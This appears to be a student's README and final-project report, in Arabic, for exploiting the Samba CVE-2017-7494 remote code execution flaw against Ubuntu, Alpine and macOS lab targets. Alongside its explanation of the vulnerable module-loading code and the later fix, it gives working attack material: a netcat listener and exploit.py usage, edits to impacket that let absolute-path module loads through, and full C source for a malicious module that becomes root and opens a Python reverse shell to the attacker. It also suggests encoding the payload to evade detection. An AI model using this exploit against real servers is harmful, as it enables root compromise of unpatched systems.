
استغلال ثغرة CVE-2017-7494 للمهمة النهائية لدورة أمن الشبكات. هذا سيكشف ثغرات الخدمات التي تعمل بصلاحيات إدارية على لينكس.
استغلال CVE-2017-7494 للمهمة النهائية لمقرر أمن الشبكات. يكشف هذا الثغرة في الخدمات التي تعمل بصلاحيات إدارية على نظام التشغيل.
هذه الثغرة قابلة للاستغلال على كل من macOS وLinux.
قبل الاستغلال، عليك تنزيل التبعيات.
/bin/bash install_requirement.sh
من أهم التبعيات حزمة impacket الخاصة بـ Python؛ فهي ما يجعل اتصال SMB يعمل.
ولكن، من أجل بناء طلب صالح يجعل خادم Samba يحمّل وحدتنا الخبيثة، يجب علينا تعديل impacket الأصلي.
يقوم سكربت التثبيت install_requirement.sh بتثبيت نسخة معدّلة (قمت أنا بتعديلها)، لذا لا داعي للقلق بشأن ذلك ولست بحاجة إلى إجراء أي تعديل يدوي.
ومع ذلك، إذا أردت استخدام إصدار أحدث أو إصدار آخر من impacket، فعليك تعديل هذه الحزمة بنفسك.
انتقل إلى
impacket/impacket/smb3.pyوعدّل السطر 11154 وعلّق على الجملتين التاليتين:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
لاستغلال الهدف، تحتاج إلى فتح طرفيتين. استخدم netcat في إحداهما للتفاعل مع الـ reverse shell، والأخرى لاستغلال الثغرة.
الاستخدام:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
إذا كان الهدف يعمل بنظام macOS، يجب ألّا تجمّع الوحدة على Linux! لأن gcc لا يدعم تنسيق MACH-O. إذا كنت مستخدم Mac، فستعمل عملية تجميع الحمولة على macOS.
توجد نسخة مجمّعة مسبقًا في المجلد، وهي mac_payload.so.
استخدم العلم -m لإعلام exploit.py بأنك ستستخدم حمولة مخصصة.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
سيُنشر شرح تفصيلي باللغة الصينية كمهمتي النهائية. إذا كنت تفهم الصينية، فسيكون ذلك مناسبًا لك. :)
—— تقرير هجوم CVE2017-7494
تسبّب إيتيرنال بلو (Eternal Blue) في خسائر فادحة عام 2017، إذ استغل آلية Windows SMB لشن هجمات عبر الديدان. SMB خدمة تعمل على Windows وتتيح للمضيفين المختلفين مشاركة الملفات وإجراء الاستدعاءات عن بُعد (Remote Procedure Call, RPC). ولعلّ هذا النوع من الوظائف هو ما جعلها هدفًا متكررًا لهجمات القراصنة.
يُفترض أن تكون الثغرات في نواة نظام التشغيل نفسه قليلة جدًا — حتى بالنسبة لـ Windows. فعادةً ما تكون الخدمات المختلفة التي تعمل فوق نظام التشغيل هي موطن المشاكل. فهي لا تملك كودًا بنفس معايير الصرامة والاختبار الدقيق لنواة نظام التشغيل، ومع ذلك تعمل بصلاحيات مرتفعة، ممّا يوفّر العديد من الفرص القابلة للاستغلال الخبيث. إذًا، هل يمكننا اختراق نظام التشغيل بالكامل عبر مهاجمة خدمة عالية الصلاحيات تعمل فوقه، بدلًا من مهاجمة المكوّنات الأساسية لنواته؟
نظام التشغيل وحده مجرد نواة لا تفعل شيئًا، فهو لا يوفّر لنا وظائفه المتنوعة إلا بتشغيل أنواع مختلفة من خدمات النظام. ولأن كثيرًا من خدمات النظام لا تعمل إلا بصلاحيات المدير (كعمليات خلفية/daemon)، فإن اختراق أي خدمة عالية الصلاحيات يمنحك صلاحيات المدير على النظام بطبيعة الحال، وبالتالي اختراق نظام التشغيل بأكمله.
أخيرًا، وجدت ثغرة قابلة للاستغلال في Samba، وهو التطبيق مفتوح المصدر لبروتوكول SMB، وهي CVE2017-7494. وعلى غرار Windows، يمكن للمهاجم عبر الاستدعاءات البعيدة (RPC) في Samba الحصول على صلاحيات المدير على نظام التشغيل، ومن ثم تتاح له فرصة بناء ديدان تهاجم عبر الشبكة.
لطالما اشتهرت نواة Linux بأمانها النابع من كونها مفتوحة المصدر؛ وأما macOS، بصفته نظامًا أقل انتشارًا، فكثيرًا ما يوحى بالأمان بسبب قلّة الفيروسات الموجّهة إليه. لذلك ستستهدف هذه التجربة كلاً من macOS وعدة توزيعات Linux مختلفة لإظهار هشاشة أنظمة التشغيل — فمهما بدا تصميم نظام التشغيل «آمنًا»، يظل بالإمكان اختراقه في أي لحظة بسبب ثغرة في تطبيق صغير.
بما أن Samba خدمة مكافئة في طبيعتها لـ SMB، يسمّيها البعض «إيتيرنال بلو لـ Linux»، رغم أنني أرى من الناحية التقنية وجود اختلافات جوهرية بينهما:
تأتي هذه الثغرة أساسًا من استدعاء الدالة bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) في source3\rpc_server\srv_pipe.c للدالة smb_probe_module():
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//这里出问题了
status = smb_probe_module("rpc", pipename);
....
الدالة np_open()، التي تستدعي is_known_pipename() من المستوى الأعلى، هي وحدة تحكم تقوم باستدعاء is_known_pipename() بعد التحقق من طلبات خدمة RPC. وis_known_pipename() كما يوحي اسمها كانت تُستخدم لتحديد ما إذا كانت الأنابيب البعيدة (remote pipes) مسجّلة أم لا، لكن بعد Samba 3.50 أُضيفت ميزة جديدة: تحميل الوحدات الديناميكية عبر استدعاء smb_probe_module()، وهذه الثغرة تستغلّ ميزة تحميل الوحدات هذه لاستدعاء وحدة خبيثة يبنيها المهاجم.
تحميل وحدات rpc pipe يتبع سلسلة الاستدعاءات التالية:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
وخلال الفترة بين Samba 3.5.0 وSamba 4.6.3، كانت الدالة do_smb_load_module() تُستخدم مرتين: مرة بواسطة smb_probe_module() لتحميل وحدات RPC، ومرة أخرى بواسطة smb_probe_module() لتحميل الوحدات الخاصة بـ Samba. الدالة smb_load_module() تُستخدم لتحميل وحدات معروفة، ومن المفترض أن تُستدعى داخليًا لتوسيع وظائف Samba نفسها، مثل وحدات VFS؛ بينما smb_probe_module() تعني تحميل وحدات محتملة قد تأتي من طلبات RPC.
لكي يمكن إعادة استخدامها من قبل هاتين الدالتين مختلفتي المصدر (رغم أنني أرى أنه لا ينبغي أبدًا لهاتين الوحدتين مشاركة نفس الدالة)، نفّذت do_smb_load_module() طريقتين معًا: «تحميل الوحدة داخل النظام الفرعي SMB عبر تحليل الطلب»، و«تحميل وحدة عبر مسار مطلق».
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
//注释的注释:如果传入的路径来源是本不应该给出绝对路径的smb_probe_module(),但smb_probe_module()却给出了绝对路径,那么这个检查将会无效,这也是本次漏洞利用的原理。
if (subsystem && module_name[0] != '/')
{
//本来应该进子系统,进行SMB子系统->绝对路径的转换
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
//但是它直接加载了我们构造的绝对路径,走了这里
init = load_module(module_name, is_probe, &handle);
//这样init就让一个“不存在的pipe的模块”使用了来自绝对路径的模块
}
//这里直接进入恶意代码的调用
status = init();
...
وبما أن do_smb_load_module() لا تعرف ما إذا كان المسار الذي تمرّره الدالة العلوية يأتي من smb_load_module أم من smb_probe_module، تنشأ إمكانية بناء طلب مزوّر: تحويل ما كان يفترض أن يكون «وحدة تُحمَّل داخل النظام الفرعي» إلى «تحميل وحدة من مسار مطلق». وإذا كانت الوحدة على ذلك المسار المطلق وحدة خبيثة يعرّفها المهاجم مسبقًا، فقد نجح الاستغلال.
ولحسن الحظ، بما أن Samba بروتوكول يدعم نقل الملفات، يمكننا بسهولة رفع وحدتنا الخبيثة إليه. وفي الوقت نفسه، تدعم طلبات DCE أيضًا الاستعلام عن المسارات المطلقة. وبهذين العاملين، يمكننا بسهولة استغلال do_smb_load_module() لجعلها تحمّل وحدة خبيثة من مسار مطلق.
يوضّح الشكل التالي مبدأ الاستغلال:
في الإصدارات اللاحقة، أصلح Samba هذه الثغرة، وكان الإصلاح الأساسي هو تعزيز فحص أسماء الأنابيب (pipe names) الواردة في طلبات RPC.
كان الإصلاح الأول في is_known_pipename()، حيث استُخدم strchr للكشف عمّا إذا كان اسم pipe يحتوي على /؛ فوجوده يعني تحميل مسار من نظام Linux، وهو أمر يجب منعه.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
//添加了这一行代码进行检测,防止请求的是绝对路径的模块
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
أما الإصلاح الثاني فكان في smb_probe_module() (وحسب سجل git أُضيف في الإصدار 4.70). وبدلًا من الاستدعاء المباشر البسيط السابق للدالة do_smb_load_module()، أُضيفت قواعد أكثر دقة:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
//第二重绝对路径检测
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
وهكذا أُضيف خط دفاع آخر. كما قُسّمت وظائف تحميل الوحدات بشكل أدق، حيث فُصلت smb_probe_module() وsmb_load_module() الأصليتان إلى smb_probe_module() وsmb_load_module() وsmb_probe_module_absolute_path() لتعزيز الكشف عن مسارات الوحدات الخبيثة.
استُخدمت في هذه التجربة توزيعتا Linux مختلفتان كأجهزة هدف، وهما Ubuntu وAlpine Linux، مع نشر خادم Samba بإصدار يقع بعد 3.5.0 وقبل 4.6.3 باستخدام Docker. يعمل Samba كعملية خلفية smbd.
Alpine Linux توزيعة حديثة نسبيًا تشتهر بـ«الخفة» و«الأمان». وعلى عكس توزيعات Linux الشائعة، لا تعتمد على glibc بل على musl libc كبيئة تشغيل للغة C، وتستخدم أيضًا buzybox كأداة لسطر الأوامر. وبشكل عام، لا تعمل برامج Linux الشائعة عليها دون إعادة ترجمة أو تعديل الكود. وهذا يسهل تكوين فكرة أن «الهجمات الموجّهة إلى Linux القائمة على مكتبات GNU لن تنجح ضد Alpine Linux».
كما تضمّنت التجربة هجومًا على macOS — وهو نظام آخر يسهل أن يقع فيه المرء في الوهم. فـ macOS لا يملك إجراءات حماية أمنية نشطة، لكن قلّة الهجمات الموجّهة إليه جعلت الرأي السائد يميل إلى الاعتقاد بأن «macOS لا توجد فيه فيروسات».
ومن خلال إعداد أنظمة مختلفة متعددة ومهاجمة ثغرات منطقية في البرمجة لا تعتمد على تجاوز سعة المخزن المؤقت، تكشف هذه التجربة الحقائق التالية:
يُستخدم Docker لنشر Samba على Linux بسرعة وسهولة، ويتطلب العثور في dockerhub على صورة قديمة بما يكفي. تأتي صورة Samba الخاصة بـ Ubuntu من rootlogin/samba ، بينما تأتي صورة Alpine Linux من servercontainers/samba:4.6.3. يكفي ضبط مسار المشاركة في الحاوية.
الإصدار المستخدم من macOS هو 11.3 Big Sur.
وبما أن macOS نادرًا ما يُستخدم كخادم، فلا توجد نسخ قديمة جاهزة من Samba للتثبيت؛ لذلك يجب تجميع إصدار قديم من Samba يدويًا.
استخدم:
git clone https://github.com/samba-team/samba.git
بعد سحب Samba، استخدم خاصية checkout في git للرجوع إلى الإصدار 4.6.3.
وفقًا للسجلات المذكورة في 11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) و[11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h)، فإن إصدار macOS من Samba يعاني من مشاكل في الترجمة؛ ورغم أن الإصدارات اللاحقة أصلحتها، فإن الإصدارات القديمة تتطلب إضافة تصحيحات الترجمة يدويًا:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
كما يجب إضافة #include <time.h> كملف ترويسة في lib/param/loadparm.h.
بعد حلّ تبعيات الترجمة المطلوبة، يمكنك ترجمة وتثبيت وتشغيل نسخة Samba الخاصة بـ macOS.
تستخدم هذه التجربة python لمهاجمة الجهاز الهدف، مع حزمة impacket للتعامل مع SMB.
الخطوات العامة للهجوم كالتالي:
تتمثل وظائف الحمولة الخبيثة أساسًا في:
وذلك للحصول على التحكم في الخادم البعيد.
الكود التالي:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Use subprocess to detach the main samba process
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Use python to create TCP connection and setup reverse shell
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// When Samba load modules, it automatically call this function as entry point
int samba_init_module(void)
{
// Character: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
حيث إن الدالة samba_init_module() هي نقطة الدخول التي يستدعيها Samba بعد تحميل الوحدة، ويمكن استخدامها كنقطة دخول للكود الخبيث.
السلسلة الطويلة التي تنفّذها printf هي YOU ARE HACKER:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
لأغراض ترفيهية.
الدالة become_root() دالة قادمة من Samba، وقد أُعلنت باستخدام extern لتسهيل استدعائها.
become_root للدخول إلى reverse shell بصلاحيات root. كما أن أنظمة Apple حاليًا تواجه عند الترجمة مشكلة في عدم عمل extern ومشاكل في الرابط (linker). السبب غير واضح بعد، لذلك استُخدم ifdef لتجنّب نظام Apple.تعمل الدالة CreateReverseShell() على فصل عملية reverse shell عن عملية الدالة الرئيسية لتحقيق تأثير الباب الخلفي.
استُخدمت Python لإنشاء حمولة reverse shell في هذه التجربة، مع execl لتنفيذ سكربت Python بدلًا من نسخة C، وذلك للأسباب التالية:
execl المجمّعةeval()؛ إذ يمكننا تشفير السكربت الذي يفتح reverse shell، ثم فك تشفيره وقت التنفيذ الفعلي، واستدعاء eval() لتنفيذ الحمولة الخبيثة، وبذلك يمكن تفادي كشف الأنظمة الأمنية المذكور في النقطة الأولى.
python أو بلغة C — أثناء الهجوم. وهذا يؤكد إلى حدٍّ ما الفكرة القائلة إن «macOS نظام تشغيل بلا وسائل دفاع نشطة».أما حمولة macOS الخبيثة فيجب ترجمتها باستخدام clang الخاص بـ macOS، لأن gcc في Linux لا يدعم ملفات MACH-O القابلة للتنفيذ. ولا حاجة لتحديد امتداد .dylib الخاص بـ Mac أثناء الترجمة؛ يكفي استخدام الامتداد .so مباشرة.
يعمل سكربت الهجوم على بيئة python3.7، ويتبع المسار التالي:
يستخدم السكربت Options لتحليل المدخلات عند نقطة الدخول؛ فإذا قدّم المستخدم وحدة مجمّعة مسبقًا، تُستخدم الوحدة الموجودة دون إعادة ترجمة، وإلا تُجمَّع وحدة جديدة باستخدام معاملَي lhost وlport لتحقيق اتصال reverse shell بالمهاجم.
وبما أننا نستخدم مسارًا خبيثًا، فإننا بحاجة إلى تعديل حزمة impacket الأصلية قليلًا حتى تتمكن من إرسال الطلبات المطلوبة إلى خادم Samba.
علّق على العبارتين في السطر 11154 من impacket/impacket/smb3.py:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
لتحميل «الوحدة الخبيثة ذات المسار المطلق».
أما بقية الخطوات — تسجيل الدخول، رفع الملفات، وتحميل الوحدة الخبيثة — فهي وظائف توفرها حزمة impacket، لذا لن أطيل في شرحها.
قبل الهجوم، يجب استخدام netcat للاستماع إلى reverse shell القادم:
nc -p 23333 -l
ثم استخدم:
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
سينفّذ ذلك سكربت Python المذكور أعلاه تلقائيًا، وستحصل من نافذة netcat على reverse shell بصلاحيات root، ومن ثم السيطرة على الخادم البعيد.
الهجوم على Ubuntu:
الهجوم على Alpine Linux:
الهجوم على macOS:
اختراق macOS من Windows وتنفيذ سكربت:
scanf_s وstrSafe وبعض «اللغات الآمنة التي يصعب فيها تجاوز سعة المخزن المؤقت» لا يحلّ كل المشاكل، إذ يمكن أن تظهر ثغرات قابلة للاستغلال في أي مكان غير متوقع.